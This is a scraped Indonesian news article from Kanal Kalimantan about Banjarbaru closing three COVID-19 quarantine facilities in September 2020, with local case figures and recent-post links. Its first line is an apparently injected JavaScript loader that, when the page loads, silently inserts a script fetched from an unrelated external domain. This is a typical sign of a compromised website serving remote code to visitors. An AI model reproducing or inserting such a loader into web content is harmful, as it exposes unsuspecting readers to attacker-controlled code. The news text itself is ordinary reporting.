(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tidak Ada Lagi Pasien Dirawat, Tiga Tempat Karantina Khusus Ditutup


KANALKALIMANTAN.COM, BANJARBARU – Meskipun angka kasus terkonfirmasi Covid-19 di Kota Banjarbaru masih mengalami peningkatan, namun tren kesembuhan pasien terus mendominasi selama beberapa pekan terakhir.

Melihat kondisi tersebut, Pemerintah Kota (Pemko) Banjarbaru telah mengambil kebijakan untuk menutup sementara tiga tempat khusus karantina.

Yakni, di gedung Lembaga Penjaminan Mutu Pendidikan (LPMP), di Asrama Haji Embakarsi Banjarmasin, dan di gedung Balai Diklat Ambulung.

Keputusan itu, kata Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan mengingat tak adanya lagi pasien yang menjalani karantina. Menurutnya, keputusan untuk menutup tiga tempat karantina tersebut juga termasuk menghemat pengeluaraan anggaran.

“Di tiga tempat karantina itu, sudah tidak ada lagi yang dirawat karantina. Karena itu kita tutup untuk efisiensi penggunaan anggaran. Karena kalau tetap buka itu akan terus membiayai tenaga kesehatan, psikolog, dokter” katanya.

Berdasarkan data, kata Jaya, tren kesembuhan di Banjarbaru memiliki persentase yang cukup tinggi. Dimana, pada Agutus lalu hanya tercatat 66,11 persen saja, namun kini telah melonjak hingga 80,17 persen.

“Tingginya angka kesembuhan, berbanding lurus dengan menurunnya angka kematian. Pada awal Agustus, angka kematian mencapai 6,94 persen dan sekarang turun menjadi 5,39 persen,” terangnya.

Data Covid-19 Kota Banjarbaru per 9 September 2020. Foto: gugus tugas covid-19 banjarbaru

Lantas, bagaimana jika nantinya ada warga yang terpapar Covid-19 dan diharuskan menjalani karantina? Dalam, Wakil Wali Kota Banjarbaru, mengatakan bahwa pihaknya akan merusuk warga tersebut ke tempat karantina yang di kelola oleh Pemerintah Provinsi (Pemprov) Kalimantan Selatan.

“Sekarang kalau ada pasien yang butuh untuk dikarantina, maka kita kirim ke lokasi karantina yang dikelola oleh provinsi,” pungkas Jaya.

Menurut data Gugus Tugas Pecepatan Penanganan Covid-19 Banjarbaru, Rabu (9/9/2020), total kasus terkonfirmasi Covid-19 saat ini telah menyentuh angka 844 kasus. Diantaranya, pasien yang dipantau sebanyak 108 orang, pasien yang dirawat sebanyak 20 orang, pasien yang sembuh sebanyak 666 orang, dan pasien yang dinyatakan meninggal dunia sebanyak 50 orang. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

2 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

14 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

15 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

15 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

22 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

23 jam ago

This website uses cookies.